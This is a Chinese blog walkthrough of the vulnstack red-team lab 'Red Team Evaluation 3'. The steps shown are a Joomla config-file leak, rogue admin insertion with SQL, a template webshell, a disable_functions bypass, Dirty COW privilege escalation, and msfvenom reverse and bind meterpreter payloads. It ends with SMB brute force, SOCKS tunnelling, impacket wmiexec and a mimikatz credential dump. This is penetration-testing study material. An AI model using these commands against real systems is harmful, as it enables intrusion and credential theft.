WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

红队评估三

0x01 环境配置

实话实说,这里涉及到知识盲区(好多盲区),拓扑图我画不出来,还涉及到nignx的反向代理,所以只能先看一下别的师傅的拓扑图,等我懂了之后我再回来自己画

https://xz.aliyun.com/t/6988

虚拟机所以配置都不要动,将VMnet2设置为仅主机,子网ip设置为192.168.93.0,然后将5个虚拟机全部打开,进入centos,因为centos是桥接的需要获取一下ip地址

1
2
service network restart	#重启网络
ip addr #查看获取到的ip地址

获取到的不一定和题目一样是192.168.1.110,如果想设置成192.168.1.110可以修改/etc/sysconfig/network-script/ifcfg-eth0设置成静态ip然后重启网络

所有虚拟机记得都拍个快照

0x02 getshell

访问192.168.1.110可以看到标题上很显眼的joomla的图标,当然通过google的插件也可以看出来

使用joomscan扫扫看有什么漏洞

可以看到版本是3.9.12,没有扫出来什么已知漏洞,但实际扫出来一个配置文件

http://192.168.1.110/configuration.php~

可以写到这里泄露的做重要的信息是数据库的账号密码

通过nmap扫描192.168.1.110发现开放了22,80,3306这三个端口,尝试连接一下数据库

可以看到是连接成功的,进入之后找到joomla数据库(总共就两个),然后找到里面前缀位am2zu_的用户表

可以看到密码是加密过的,加密的方法是bcrypt,刚好今天面试还面到过,但是这个密码好像不可逆安全性还挺高的,所以解密不出来,于是想到了往数据库里面添加一个用户

首先要创建一个密码,这里使用python的库

1
2
3
4
5
import bcrypt
password = b"123456"
hashed = bcrypt.hashpw(password, bcrypt.gensalt(10))
print(hashed)
#$2b$10$g2.alv85d1JGbwlh9fzCsOGi6VC0D9YHRD5xx6/uZzAVWiQ42uCkq

查一下joomla的官方文档,找到了创建新用户的语句

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

当然语句需要自己修改一下

1
2
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`,`registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator','admin','$2b$10$g2.alv85d1JGbwlh9fzCsOGi6VC0D9YHRD5xx6/uZzAVWiQ42uCkq', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

插入语句之后可以通过admin:123456来登录

通过模板写shell

Extensions -> Templates -> Templates

进去之后会看到两个模板,我选择上面那个,在这个模板里新建一个php文件写shell

访问路径192.168.1.110/templates/beez3/shell.php,使用蚁剑连接

连接成功但是发现执行不了命令,感觉是禁用了函数,使用phpinfo查看

确认是禁用执行系统命令的函数,使用一个disable_function_bypass的脚本

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

将php和so上传

可以执行命令,权限很低,查看/home下发现有yy用户,查看历史命令发现权限不够,尝试suid提权也不行

查看一下网卡

发现这个ip是ubuntu的,查了一下资料说是nginx反向代理(这个我现在也不懂..以后去学..懂了再改)

最后在tmp目录下面发现信息,(实话实说我进去看了一眼但是没注意..又退出来,后来看了师傅的文章才找到)

看到这个命令应该是添加用户的,尝试用这个登录centos

登录成功,查看一下内核是2.6.32,看到这个第一个想到的就是脏牛,上传一个脏牛的exp并编译

https://github.com/FireFart/dirtycow

1
2
3
gcc -pthread dirty.c -o dirty -lcrypt
chmod 777 dirty
./dirty

这样就成功了,然后再使用firefart:root登录

可以看到已经是root权限了,接下来就是上msf然后内网渗透

0x03 内网渗透

使用msf生成一个linux的木马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port>  -f elf -o isshell

这里arp_scanner这个模块还是使用不了,不过已经获得root权限了,安装了一个nmap扫一扫内网

1
nmap 192.168.93.1/24

扫到了192.168.93.10,192.168.93.20,192.168.93.30,用msf试了一下啊都没有MS17-010..(没办法只能去看看师傅的wp,结果发现还看不懂..这个smb中继和ntlm真的一点都没接触过,甚至是第一次碰到,下面只能当作复现一下了)

通过nmap扫面扫描可以得知192.168.93.20开放了1433端口,使用mysql的密码登录试试,使用auxiliary/admin/mssql/mssql_enum_sql_logins模块

1
2
3
4
use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhost 192.168.93.20
set username testuser
set password [email protected]

可以连接成功

从github上面下载脚本https://github.com/lgandx/Responder在centos上不是很好搭建,在ubuntu上也没有复现成功,等之后学清楚了再试试

3.

回来了..搭环境搭了很久,最后还是没解决,整理一下碰到的几个问题,首先是Responder的python版本不对,centos里面自带的python是2.6.6,Responder需要2.7以上,然后我看了几篇文章发现师傅们用的都是2.3.4.0这个版本,我就去换了一下发现还是不行,最后只能升级了python,hash是可以收到了,但是第二步smb中继的不到回显,提示我少装了pycrypto库,然后我就去整pip,pip一直装不起来,都是超时,,我换了网络还是不行,最后实在没办只能装了个ubuntu,但是还是不行,只能读到hash得不到shell,知识面太少也找不到原因,猜测是因为虚拟机挂起后打开马上就蓝屏了导致的(win7和2012都会蓝屏),也可能是我操作有问题,如果以后复现找到原因了再回来改吧

最后的话只能用爆破这种方法了,我查了很多字典也没有找到哪个字典有这个密码,就只能假装爆破成功了,不然接下来没法进行..

首先使用auxiliary/scanner/smb/smb_login模块

爆破出密码

接下去就是怎么登录了,我看到有人直接用exploit/windows/smb/psexec模块登陆,但是我这里一直报错,网上也找不到原因,先用ew来个反向代理

1
2
./ew_for_linux64 -s rcsocks -l 60003 -e 60002		#kali上执行
./ew_for_linux64 -s rssocks -d 192.168.1.4 -e 60002 #centos上执行

使用proxychains,修改配置文件,然后启动msf,可以使用exploit/windows/smb/psexec模块,但是session很快会掉,具体原因我也不知道,关于这个可以看看红队评估四那种方法,不过相同的方法就不使用了,这次换种方法,看了看别的师傅的文章找到了impacket工具包

https://github.com/SecureAuthCorp/impacket

使用里面的wmiexec.py,下载完之后需要把impacket拖到examples文件夹里,不然会报一个缺少模块的错误,然后安装requirements.txt里面的库就可以使用了

1
proxychains python wmiexec.py -debug 'administrator:[email protected]'

接下来就是上传msf的木马了,生成一个正向的shell

1
msfvenom -p windows/meterpreter/bind_tcp LHOST=<ip> LPORT=<port> -f exe > shell32.exe

使用smbclient上传文件

接下来使用vmiexec.py执行

还是有些问题,两边都不通,需要代理才可以用,但是代理又很容易掉,只能直接上传mimikatz看看能不能抓到密码,上传mimikatz的方法和上面y一样使用smbclient

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > pass.txt

因为vmiexec.py返回的不是交互式的shell所以只能不用交互的方法进行了

抓到了域控的密码,通过ipconfig /all可以找到域控ip为192.168.93.10

还是用vmiexec.py执行命令

1
2
dir c:\flag.txt /b /s
type c:\Users\Administrator\Documents\flag.txt

使用type读文件

0x04 总结

1.win7和2008一启动就蓝屏了,重启之后mimikatz抓不到密码,只能先用网上wp找到密码登录一下才行

2.Responder在centos上不是很好搭建,在ubuntu上也没有复现成功,等之后学清楚了再试试

3.impacket工具包很好用啊,之后试着把里面的工具都整理一下,但是smbclient,有时候需要在前面加工作组或者域,有时候也不需要,暂时不知道原因,我晚上还可以的睡之前把环境都退回了一下,早上起来就不行了

拿2008举例

1
2
proxychains smbclient //192.168.93.20/C$ -U administrator
proxychains smbclient //192.168.93.20/C$ -U WIN2008\\administrator

有时候第一行就可以了有时又需要第二行才行

最后感觉这个靶机也学到不少东西虽然原理不懂但是也知道了一种新的攻击方式,工具也学到一些,(原理不懂工具学一堆),不懂的地方等我以后原理懂了再填坑吧